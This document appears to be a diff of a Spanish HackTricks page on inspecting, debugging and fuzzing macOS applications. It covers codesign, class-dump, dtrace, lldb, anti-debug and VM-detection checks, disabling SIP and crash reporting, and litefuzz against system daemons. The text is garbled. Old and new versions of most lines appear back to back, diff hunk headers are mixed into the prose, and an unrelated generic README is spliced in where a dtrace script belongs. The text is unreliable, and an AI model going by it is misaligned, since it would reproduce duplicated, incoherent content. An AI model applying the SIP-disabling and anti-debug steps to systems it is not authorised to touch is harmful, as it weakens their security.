La firma de código es un proceso utilizado en macOS para verificar la autenticidad e integridad de una aplicación. Cada aplicación en macOS debe estar firmada con un certificado válido para garantizar que no ha sido alterada o comprometida. La firma de código utiliza criptografía asimétrica para crear una firma digital única que se adjunta a la aplicación.
La firma de código se puede verificar utilizando la herramienta `codesign` en la línea de comandos. Esta herramienta permite inspeccionar y verificar la firma de una aplicación, así como también identificar cualquier problema de seguridad o manipulación.
Al inspeccionar una aplicación con `codesign`, se pueden obtener detalles sobre el certificado utilizado para firmarla, la identidad del desarrollador y cualquier recurso adicional que se haya firmado junto con la aplicación.
La verificación de la firma de código es esencial para garantizar la seguridad de las aplicaciones en macOS. Si una aplicación no está firmada correctamente o si su firma ha sido manipulada, puede representar un riesgo para la seguridad del sistema.
Es importante tener en cuenta que la firma de código no garantiza la ausencia de vulnerabilidades en una aplicación, pero ayuda a garantizar su autenticidad y que no ha sido alterada desde su firma original.
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -76,53 +126,51 @@ Esta herramienta permite **montar** imágenes de disco de Apple (**.dmg**) para
```bash
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
```
Será montado en `/Volumes`
Se montará en `/Volumes`
### Objective-C
#### Metadatos
{% hint style="danger" %}
Tenga en cuenta que los programas escritos en Objective-C **mantienen** sus declaraciones de clase **cuando** son compilados en [binarios Mach-O](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Tales declaraciones de clase **incluyen** el nombre y tipo de:
Ten en cuenta que los programas escritos en Objective-C **mantienen** sus declaraciones de clase **cuando** se compilan en [binarios Mach-O](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Estas declaraciones de clase **incluyen** el nombre y tipo de:
{% endhint %}
* La clase
* Los métodos de clase
* Las variables de instancia de clase
Puede obtener esta información usando [**class-dump**](https://github.com/nygard/class-dump):
Puedes obtener esta información utilizando [**class-dump**](https://github.com/nygard/class-dump):
```bash
class-dump Kindle.app
```
Nota que estos nombres podrían estar obfuscados para hacer la reversión del binario más difícil.
#### Llamada a funciones
#### Llamada de función
Cuando se llama a una función en un binario que utiliza Objective-C, el código compilado en lugar de llamar a esa función, llamará a **`objc_msgSend`**. Lo que llamará a la función final:
Cuando se llama a una función en un binario que utiliza Objective-C, en lugar de llamar directamente a esa función, el código compilado llamará a **`objc_msgSend`**. Esta función llamará a la función final:
![](<../../../.gitbook/assets/image (560).png>)
Los parámetros que esta función espera son:
* El primer parámetro (**self**) es "un puntero que apunta a la **instancia de la clase que recibirá el mensaje**". O más simplemente, es el objeto sobre el que se invoca el método. Si el método es un método de clase, esto será una instancia del objeto de la clase (en su totalidad), mientras que para un método de instancia, self apuntará a una instancia instanciada de la clase como objeto.
* El segundo parámetro, (**op**), es "el selector del método que maneja el mensaje". De nuevo, más simplemente, este es solo el **nombre del método**.
* Los parámetros restantes son cualquier **valor que requiera el método** (op).
* El primer parámetro (**self**) es "un puntero que apunta a la **instancia de la clase que recibirá el mensaje**". En otras palabras, es el objeto sobre el cual se invoca el método. Si el método es un método de clase, esto será una instancia del objeto de la clase (en su totalidad), mientras que para un método de instancia, self apuntará a una instancia instanciada de la clase como objeto.
* El segundo parámetro (**op**) es "el selector del método que maneja el mensaje". Nuevamente, de manera más simple, este es simplemente el **nombre del método**.
* Los parámetros restantes son cualquier **valor que sea requerido por el método** (op).
| **Argumento** | **Registro** | **(para) objc\_msgSend** |
| **Argumento** | **Registro** | **(para) objc\_msgSend** |
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
| **1er argumento** | **rdi** | **self: objeto sobre el que se invoca el método** |
| **1er argumento** | **rdi** | **self: objeto sobre el cual se invoca el método** |
| **2do argumento** | **rsi** | **op: nombre del método** |
| **3er argumento** | **rdx** | **1er argumento para el método** |
| **4to argumento** | **rcx** | **2do argumento para el método** |
| **5to argumento** | **r8** | **3er argumento para el método** |
| **6to argumento** | **r9** | **4to argumento para el método** |
| **7mo+ argumento** | <p><strong>rsp+</strong><br><strong>(en la pila)</strong></p> | **5to+ argumento para el método** |
| **3er argumento** | **rdx** | **1er argumento para el método** |
| **4to argumento** | **rcx** | **2do argumento para el método** |
| **5to argumento** | **r8** | **3er argumento para el método** |
| **6to argumento** | **r9** | **4to argumento para el método** |
| **7mo+ argumento**| <p><strong>rsp+</strong><br><strong>(en la pila)</strong></p> | **5to+ argumento para el método** |
### Swift
Con binarios de Swift, dado que hay compatibilidad con Objective-C, a veces se pueden extraer declaraciones usando [class-dump](https://github.com/nygard/class-dump/) pero no siempre.
Con binarios de Swift, dado que hay compatibilidad con Objective-C, a veces se pueden extraer declaraciones utilizando [class-dump](https://github.com/nygard/class-dump/), pero no siempre.
Con las líneas de comando **`jtool -l`** o **`otool -l`** es posible encontrar varias secciones que comienzan con el prefijo **`__swift5`**:
Con los comandos de línea **`jtool -l`** o **`otool -l`** es posible encontrar varias secciones que comienzan con el prefijo **`__swift5`**:
```bash
jtool2 -l /Applications/Stocks.app/Contents/MacOS/Stocks
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 __PAGEZERO
@ -134,29 +182,29 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
[...]
```
Puede encontrar más información sobre la [**información almacenada en estas secciones en esta publicación de blog**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
Puedes encontrar más información sobre la [**información almacenada en estas secciones en esta publicación de blog**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html).
### Binarios empaquetados
### Binarios comprimidos
* Verifique la entropía alta.
* Verifique las cadenas (si hay casi ninguna cadena comprensible, está empaquetado).
* El empaquetador UPX para MacOS genera una sección llamada "\_\_XHDR".
* Verificar la entropía alta
* Verificar las cadenas (si hay casi ninguna cadena comprensible, está comprimido)
* El empaquetador UPX para MacOS genera una sección llamada "\_\_XHDR"
## Análisis dinámico
{% hint style="warning" %}
Tenga en cuenta que para depurar binarios, **SIP debe estar deshabilitado** (`csrutil disable` o `csrutil enable --without debug`) o copiar los binarios a una carpeta temporal y **eliminar la firma** con `codesign --remove-signature <ruta-del-binario>` o permitir la depuración del binario (puede usar [este script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)).
Ten en cuenta que para depurar binarios, **SIP debe estar desactivado** (`csrutil disable` o `csrutil enable --without debug`) o copiar los binarios a una carpeta temporal y **eliminar la firma** con `codesign --remove-signature <ruta-del-binario>` o permitir la depuración del binario (puedes usar [este script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)).
{% endhint %}
{% hint style="warning" %}
Tenga en cuenta que para **instrumentar binarios del sistema** (como `cloudconfigurationd`) en macOS, **SIP debe estar deshabilitado** (simplemente eliminar la firma no funcionará).
Ten en cuenta que para **instrumentar binarios del sistema** (como `cloudconfigurationd`) en macOS, **SIP debe estar desactivado** (simplemente eliminar la firma no funcionará).
{% endhint %}
### Registros unificados
MacOS genera muchos registros que pueden ser muy útiles al ejecutar una aplicación para tratar de entender **qué está haciendo**.
Además, hay algunos registros que contendrán la etiqueta `<private>` para **ocultar** alguna información **identificable** del **usuario** o **computadora**. Sin embargo, es posible **instalar un certificado para revelar esta información**. Siga las explicaciones de [**aquí**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
Además, hay algunos registros que contendrán la etiqueta `<private>` para **ocultar** cierta información **identificable** del **usuario** o de la **computadora**. Sin embargo, es posible **instalar un certificado para revelar esta información**. Sigue las explicaciones de [**aquí**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
### Hopper
@ -166,19 +214,19 @@ En el panel izquierdo de Hopper es posible ver los símbolos (**Etiquetas**) del
#### Panel central
En el panel central se puede ver el **código desensamblado**. Y se puede ver como **crudo**, como **gráfico**, como **descompilado** y como **binario** haciendo clic en el icono respectivo:
En el panel central puedes ver el **código desensamblado**. Y puedes verlo como un desensamblado **en bruto**, como **gráfico**, como **descompilado** y como **binario** haciendo clic en el icono correspondiente:
<figure><img src="../../../.gitbook/assets/image (2) (6).png" alt=""><figcaption></figcaption></figure>
Al hacer clic derecho en un objeto de código, puede ver las **referencias desde/hacia ese objeto** o incluso cambiar su nombre (esto no funciona en pseudocódigo descompilado):
Al hacer clic derecho en un objeto de código, puedes ver las **referencias hacia/desde ese objeto** o incluso cambiar su nombre (esto no funciona en el pseudocódigo descompilado):
<figure><img src="../../../.gitbook/assets/image (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
Además, en la **parte inferior central se pueden escribir comandos de Python**.
Además, en la **parte inferior central puedes escribir comandos de Python**.
#### Panel derecho
En el panel derecho se pueden ver información interesante como el **historial de navegación** (para saber cómo llegó a la situación actual), el **gráfico de llamadas** donde se pueden ver todas las **funciones que llaman a esta función** y todas las funciones que **esta función llama**, e información de **variables locales**.
En el panel derecho puedes ver información interesante como el **historial de navegación** (para saber cómo llegaste a la situación actual), el **gráfico de llamadas** donde puedes ver todas las **funciones que llaman a esta función** y todas las funciones que **esta función llama**, e información sobre las **variables locales**.
### dtruss
```bash
@ -193,9 +241,9 @@ ktrace trace -s -S -t c -c ls | grep "ls("
```
### dtrace
Permite a los usuarios acceder a las aplicaciones a un nivel extremadamente **bajo** y proporciona una forma para que los usuarios **rastreen** **programas** e incluso cambien su flujo de ejecución. Dtrace utiliza **sondas** que se **colocan en todo el kernel** y se encuentran en lugares como el inicio y el final de las llamadas al sistema.
Permite a los usuarios acceder a las aplicaciones a un nivel extremadamente **bajo** y proporciona una forma de **rastrear** los **programas** e incluso cambiar su flujo de ejecución. Dtrace utiliza **sondas** que se **colocan en todo el kernel** y se encuentran en ubicaciones como el inicio y el final de las llamadas al sistema.
DTrace utiliza la función **`dtrace_probe_create`** para crear una sonda para cada llamada al sistema. Estas sondas se pueden activar en el **punto de entrada y salida de cada llamada al sistema**. La interacción con DTrace ocurre a través de /dev/dtrace, que solo está disponible para el usuario root.
DTrace utiliza la función **`dtrace_probe_create`** para crear una sonda para cada llamada al sistema. Estas sondas se pueden activar en el **punto de entrada y salida de cada llamada al sistema**. La interacción con DTrace se realiza a través de /dev/dtrace, que solo está disponible para el usuario root.
Las sondas disponibles de dtrace se pueden obtener con:
```bash
@ -207,22 +255,65 @@ ID PROVIDER MODULE FUNCTION NAME
43 profile profile-97
44 profile profile-199
```
El nombre de la sonda consta de cuatro partes: el proveedor, el módulo, la función y el nombre (`fbt:mach_kernel:ptrace:entry`). Si no se especifica alguna parte del nombre, Dtrace la aplicará como comodín.
El nombre de la sonda consta de cuatro partes: el proveedor, el módulo, la función y el nombre (`fbt:mach_kernel:ptrace:entry`). Si no se especifica alguna parte del nombre, Dtrace la considerará como un comodín.
Para configurar DTrace para activar sondas y especificar qué acciones realizar cuando se activan, necesitaremos usar el lenguaje D.
Para configurar DTrace y activar sondas, así como especificar las acciones a realizar cuando se activan, necesitaremos utilizar el lenguaje D.
Se puede encontrar una explicación más detallada y más ejemplos en [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html)
#### Ejemplos
Ejecute `man -k dtrace` para listar los **scripts de DTrace disponibles**. Ejemplo: `sudo dtruss -n binary`
Ejecuta `man -k dtrace` para listar los **scripts de DTrace disponibles**. Ejemplo: `sudo dtruss -n binary`
* En línea
* En la línea
```bash
#Count the number of syscalls of each running process
sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
```
* guión
# Inspeccionando, depurando y fuzzing de aplicaciones en macOS
En este directorio, encontrarás herramientas y técnicas para inspeccionar, depurar y realizar fuzzing en aplicaciones en macOS. Estas técnicas te permitirán analizar el comportamiento de las aplicaciones, identificar vulnerabilidades y encontrar posibles puntos de escalada de privilegios.
## Contenido
- [Introducción](#introducción)
- [Inspeccionando aplicaciones](#inspeccionando-aplicaciones)
- [Depurando aplicaciones](#depurando-aplicaciones)
- [Fuzzing de aplicaciones](#fuzzing-de-aplicaciones)
## Introducción
Antes de comenzar a inspeccionar, depurar o realizar fuzzing en aplicaciones en macOS, es importante comprender los conceptos básicos de estas técnicas y cómo se aplican en el contexto de macOS. Asegúrate de tener un conocimiento sólido de los lenguajes de programación utilizados en las aplicaciones que deseas analizar, así como de las herramientas y entornos de desarrollo disponibles en macOS.
## Inspeccionando aplicaciones
La inspección de aplicaciones implica examinar el código fuente y los recursos de una aplicación para comprender su funcionamiento interno. Esto puede incluir la revisión de archivos binarios, bibliotecas compartidas, archivos de configuración y otros componentes relevantes. Al inspeccionar una aplicación, puedes identificar posibles vulnerabilidades, como contraseñas en texto plano, claves de API expuestas o errores de programación que podrían ser explotados.
Algunas herramientas útiles para la inspección de aplicaciones en macOS incluyen:
- [Hopper Disassembler](https://www.hopperapp.com/) - Un desensamblador interactivo para macOS que te permite analizar y comprender el código de la aplicación.
- [class-dump](https://github.com/nygard/class-dump) - Una herramienta de línea de comandos que extrae la declaración de clases Objective-C de un archivo binario.
- [strings](https://ss64.com/osx/strings.html) - Un comando de terminal que busca y muestra cadenas de texto legibles en archivos binarios.
## Depurando aplicaciones
La depuración de aplicaciones implica rastrear y solucionar problemas en el código de una aplicación. Esto puede incluir la identificación y corrección de errores, la optimización del rendimiento y la comprensión del flujo de ejecución de la aplicación. Al depurar una aplicación, puedes descubrir vulnerabilidades y puntos débiles que podrían ser explotados.
Algunas herramientas útiles para la depuración de aplicaciones en macOS incluyen:
- [LLDB](https://lldb.llvm.org/) - Un depurador de código abierto que se utiliza comúnmente en macOS para depurar aplicaciones.
- [Xcode](https://developer.apple.com/xcode/) - Un entorno de desarrollo integrado (IDE) que incluye herramientas de depuración y análisis de rendimiento para aplicaciones macOS.
## Fuzzing de aplicaciones
El fuzzing de aplicaciones implica enviar entradas aleatorias o maliciosas a una aplicación para encontrar vulnerabilidades y errores de programación. Al realizar fuzzing en una aplicación, puedes descubrir posibles puntos de escalada de privilegios o vulnerabilidades que podrían ser explotadas por un atacante.
Algunas herramientas útiles para el fuzzing de aplicaciones en macOS incluyen:
- [AFL](https://github.com/google/AFL) - Un marco de fuzzing de código abierto que se utiliza para encontrar vulnerabilidades en aplicaciones.
- [Peach Fuzzer](https://peachfuzzer.com/) - Una plataforma de fuzzing que te permite generar casos de prueba personalizados y automatizar el proceso de fuzzing.
Recuerda que al realizar inspección, depuración o fuzzing de aplicaciones en macOS, debes asegurarte de tener los permisos y autorizaciones adecuados para acceder y analizar las aplicaciones. Además, siempre debes seguir las leyes y regulaciones aplicables y obtener el consentimiento adecuado antes de realizar cualquier actividad de análisis o pruebas.
```bash
syscall:::entry
/pid == $1/
@ -262,12 +353,18 @@ sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
```
### ProcessMonitor
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) es una herramienta muy útil para verificar las acciones relacionadas con procesos que un proceso está realizando (por ejemplo, monitorear qué nuevos procesos está creando un proceso).
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) es una herramienta muy útil para verificar las acciones relacionadas con los procesos que un proceso está realizando (por ejemplo, monitorear qué nuevos procesos está creando un proceso).
### FileMonitor
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor) permite monitorear eventos de archivos (como creación, modificaciones y eliminaciones) proporcionando información detallada sobre dichos eventos.
### Apple Instruments
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) son parte de las herramientas de desarrollo de Xcode, utilizadas para monitorear el rendimiento de las aplicaciones, identificar fugas de memoria y rastrear la actividad del sistema de archivos.
![](<../../../.gitbook/assets/image (15).png>)
### fs\_usage
Permite seguir las acciones realizadas por los procesos:
@ -277,40 +374,44 @@ fs_usage -w -f network curl #This tracks network actions
```
### TaskExplorer
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) es útil para ver las **bibliotecas** utilizadas por un binario, los **archivos** que está utilizando y las **conexiones de red**.\
También verifica los procesos binarios contra **virustotal** y muestra información sobre el binario.
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) es útil para ver las **bibliotecas** utilizadas por un binario, los **archivos** que está utilizando y las conexiones de **red**.\
También verifica los procesos binarios en **virustotal** y muestra información sobre el binario.
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
En [**esta publicación de blog**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) puedes encontrar un ejemplo sobre cómo **depurar un daemon en ejecución** que utilizó **`PT_DENY_ATTACH`** para evitar la depuración incluso si SIP estaba deshabilitado.
En [**esta publicación de blog**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) puedes encontrar un ejemplo sobre cómo **depurar un daemon en ejecución** que utiliza **`PT_DENY_ATTACH`** para evitar la depuración incluso si SIP está desactivado.
### lldb
**lldb** es la herramienta de facto para la **depuración** de binarios de **macOS**.
**lldb** es la herramienta de **hecho** para la **depuración** de binarios en **macOS**.
```bash
lldb ./malware.bin
lldb -p 1122
lldb -n malware.bin
lldb -n malware.bin --waitfor
```
{% hint style="warning" %}
Dentro de lldb, volcar un proceso con `process save-core`
{% endhint %}
| **Comando (lldb)** | **Descripción** |
| ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **run (r)** | Inicia la ejecución, que continuará sin interrupción hasta que se alcance un punto de interrupción o el proceso termine. |
| **continue (c)** | Continúa la ejecución del proceso depurado. |
| **nexti (n / ni)** | Ejecuta la siguiente instrucción. Este comando omitirá las llamadas a funciones. |
| **stepi (s / si)** | Ejecuta la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones. |
| **finish (f)** | Ejecuta el resto de las instrucciones en la función actual ("frame"), devuelve y detiene. |
| **control + c** | Pausa la ejecución. Si el proceso se ha ejecutado (r) o continuado (c), esto hará que el proceso se detenga ... dondequiera que se esté ejecutando actualmente. |
| **run (r)** | Iniciar la ejecución, que continuará sin interrupciones hasta que se alcance un punto de interrupción o el proceso se termine. |
| **continue (c)** | Continuar la ejecución del proceso depurado. |
| **nexti (n / ni)** | Ejecutar la siguiente instrucción. Este comando omitirá las llamadas a funciones. |
| **stepi (s / si)** | Ejecutar la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones. |
| **finish (f)** | Ejecutar el resto de las instrucciones en la función actual ("frame") y detenerse. |
| **control + c** | Pausar la ejecución. Si el proceso se ha ejecutado (r) o continuado (c), esto hará que el proceso se detenga ...donde sea que se esté ejecutando actualmente. |
| **breakpoint (b)** | <p>b main</p><p>b -[NSDictionary objectForKey:]</p><p>b 0x0000000100004bd9</p><p>br l #Lista de puntos de interrupción</p><p>br e/dis &#x3C;num> #Habilitar/Deshabilitar punto de interrupción</p><p>breakpoint delete &#x3C;num><br>b set -n main --shlib &#x3C;lib_name></p> |
| **help** | <p>help breakpoint #Obtener ayuda del comando breakpoint</p><p>help memory write #Obtener ayuda para escribir en la memoria</p> |
| **reg** | <p>reg read</p><p>reg read $rax</p><p>reg write $rip 0x100035cc0</p> |
| **x/s \<reg/memory address>** | Muestra la memoria como una cadena terminada en nulo. |
| **x/i \<reg/memory address>** | Muestra la memoria como instrucción de ensamblador. |
| **x/b \<reg/memory address>** | Muestra la memoria como byte. |
| **x/s \<reg/memory address>** | Mostrar la memoria como una cadena terminada en nulo. |
| **x/i \<reg/memory address>** | Mostrar la memoria como instrucción de ensamblador. |
| **x/b \<reg/memory address>** | Mostrar la memoria como byte. |
| **print object (po)** | <p>Esto imprimirá el objeto referenciado por el parámetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Tenga en cuenta que la mayoría de las API o métodos Objective-C de Apple devuelven objetos y, por lo tanto, deben mostrarse mediante el comando "print object" (po). Si po no produce una salida significativa, use <code>x/b</code></p> |
| **memory** | <p>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escribir AAAA en esa dirección<br>memory write -f s $rip+0x11f+7 "AAAA" #Escribir AAAA en la dirección</p> |
| **disassembly** | <p>dis #Desensambla la función actual<br>dis -c 6 #Desensambla 6 líneas<br>dis -c 0x100003764 -e 0x100003768 #Desde una dirección hasta la otra<br>dis -p -c 4 #Comienza en la dirección actual desensamblando</p> |
| **parray** | parray 3 (char \*\*)$x1 # Verificar matriz de 3 componentes en el registro x1 |
| **disassembly** | <p>dis #Desensamblar la función actual<br>dis -c 6 #Desensamblar 6 líneas<br>dis -c 0x100003764 -e 0x100003768 #Desde una dirección hasta la otra<br>dis -p -c 4 #Comenzar en la dirección actual desensamblando</p> |
| **parray** | parray 3 (char \*\*)$x1 #Comprobar el array de 3 componentes en el registro x1 |
{% hint style="info" %}
Cuando se llama a la función **`objc_sendMsg`**, el registro **rsi** contiene el **nombre del método** como una cadena terminada en nulo ("C"). Para imprimir el nombre a través de lldb, haga lo siguiente:
@ -327,16 +428,15 @@ Cuando se llama a la función **`objc_sendMsg`**, el registro **rsi** contiene e
#### Detección de VM
* El comando **`sysctl hw.model`** devuelve "Mac" cuando el **anfitrión es un MacOS**, pero algo diferente cuando es una VM.
* El comando **`sysctl hw.model`** devuelve "Mac" cuando el **host es un MacOS**, pero algo diferente cuando es una VM.
* Jugando con los valores de **`hw.logicalcpu`** y **`hw.physicalcpu`**, algunos malwares intentan detectar si es una VM.
* Algunos malwares también pueden **detectar** si la máquina es **VMware** en función de la dirección MAC (00:50:56).
* Algunos malwares también pueden **detectar** si la máquina es **VMware** basándose en la dirección MAC (00:50:56).
* También es posible encontrar si un proceso está siendo depurado con un código simple como:
`if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proceso siendo depurado }`
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proceso siendo depurado }`
* También puede invocar la llamada al sistema **`ptrace`** con la bandera **`PT_DENY_ATTACH`**. Esto **impide** que un depurador se adjunte y rastree.
* Puede verificar si la función **`sysctl`** o **`ptrace`** está siendo **importada** (pero el malware podría importarla dinámicamente)
* Como se señala en este artículo, [Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/):\
_El mensaje Process # exited with **status = 45 (0x0000002d)** es generalmente una señal reveladora de que el objetivo de depuración está usando **PT\_DENY\_ATTACH**_”
* Como se señala en este artículo, "[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)":\
"_El mensaje Process # exited with **status = 45 (0x0000002d)** generalmente es una señal reveladora de que el objetivo de depuración está utilizando **PT\_DENY\_ATTACH**_"
## Fuzzing
@ -346,7 +446,7 @@ ReportCrash **analiza los procesos que se bloquean y guarda un informe de bloque
Para aplicaciones y otros procesos **que se ejecutan en el contexto de lanzamiento por usuario**, ReportCrash se ejecuta como un LaunchAgent y guarda los informes de bloqueo en `~/Library/Logs/DiagnosticReports/` del usuario.\
Para demonios, otros procesos **que se ejecutan en el contexto de lanzamiento del sistema** y otros procesos privilegiados, ReportCrash se ejecuta como un LaunchDaemon y guarda los informes de bloqueo en `/Library/Logs/DiagnosticReports` del sistema.
Si le preocupa que los informes de bloqueo **se envíen a Apple**, puede desactivarlos. Si no, los informes de bloqueo pueden ser útiles para **averiguar cómo se bloqueó un servidor**.
Si te preocupa que los informes de bloqueo **se envíen a Apple**, puedes desactivarlos. Si no, los informes de bloqueo pueden ser útiles para **descubrir cómo se bloqueó un servidor**.
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@ -358,15 +458,15 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.
```
### Dormir
Mientras se realiza fuzzing en MacOS, es importante no permitir que la Mac se duerma:
Cuando se realiza fuzzing en un MacOS, es importante evitar que la Mac se duerma:
* systemsetup -setsleep Never
* pmset, Preferencias del sistema
* pmset, Preferencias del Sistema
* [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake)
#### Desconexión SSH
Si se está realizando fuzzing a través de una conexión SSH, es importante asegurarse de que la sesión no se desconecte. Para ello, cambie el archivo sshd\_config con:
Si estás realizando fuzzing a través de una conexión SSH, es importante asegurarse de que la sesión no se cierre. Para ello, cambia el archivo sshd\_config con:
* TCPKeepAlive Yes
* ClientAliveInterval 0
@ -375,17 +475,17 @@ Si se está realizando fuzzing a través de una conexión SSH, es importante ase
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist
sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
```
### Manejadores internos
### Controladores internos
**Echa un vistazo a la siguiente página** para descubrir cómo puedes encontrar qué aplicación es responsable de **manejar el esquema o protocolo especificado:**
**Consulta la siguiente página** para descubrir cómo puedes encontrar qué aplicación es responsable de **manejar el esquema o protocolo especificado:**
{% content-ref url="../macos-file-extension-apps.md" %}
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
{% endcontent-ref %}
### Enumerando procesos de red
### Enumeración de procesos de red
Es interesante encontrar procesos que estén gestionando datos de red:
Esto es interesante para encontrar procesos que están gestionando datos de red:
```bash
dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log
#wait some time
@ -412,7 +512,7 @@ Funciona para herramientas de línea de comandos.
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
Funciona con herramientas de GUI de macOS. Nota que algunas aplicaciones de macOS tienen requisitos específicos como nombres de archivo únicos, la extensión correcta, necesitan leer los archivos desde el sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
Funciona con herramientas de GUI de macOS. Ten en cuenta que algunas aplicaciones de macOS tienen requisitos específicos como nombres de archivo únicos, la extensión correcta, necesitan leer los archivos desde el sandbox (`~/Library/Containers/com.apple.Safari/Data`)...
Algunos ejemplos:
@ -440,6 +540,8 @@ litefuzz -lk -c "smbutil view smb://localhost:4455" -a tcp://localhost:4455 -i i
# screensharingd (using pcap capture)
litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash screensharingd -p -n 100000
```
{% endcode %}
### Más información sobre Fuzzing en MacOS
* [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
@ -459,8 +561,8 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -45,7 +45,7 @@ uint32_t align; /* alineación como una potencia de 2 */
};
</code></pre>
El encabezado tiene los bytes **magic** seguidos del **número** de **arquitecturas** que el archivo **contiene** (`nfat_arch`) y cada arquitectura tendrá una estructura `fat_arch`.
El encabezado tiene los bytes **mágicos** seguidos del **número** de **arquitecturas** que el archivo **contiene** (`nfat_arch`) y cada arquitectura tendrá una estructura `fat_arch`.
Verifícalo con:
@ -127,7 +127,7 @@ O utilizando [Mach-O View](https://sourceforge.net/projects/machoview/):
## **Comandos de carga de Mach-O**
Esto especifica la **estructura del archivo en memoria**. Contiene la **ubicación de la tabla de símbolos**, el contexto del hilo principal al comienzo de la ejecución y las **bibliotecas compartidas** requeridas.\
Esto especifica el **diseño del archivo en memoria**. Contiene la **ubicación de la tabla de símbolos**, el contexto del hilo principal al comienzo de la ejecución y las **bibliotecas compartidas** requeridas.\
Los comandos básicamente instruyen al cargador dinámico **(dyld) cómo cargar el binario en memoria.**
Todos los comandos de carga comienzan con una estructura **load\_command**, definida en el **`loader.h`** mencionado anteriormente:
@ -195,7 +195,7 @@ Ejemplo de **encabezado de sección**:
Si **agregas** el **desplazamiento de sección** (0x37DC) + el **desplazamiento** donde comienza la **arquitectura**, en este caso `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
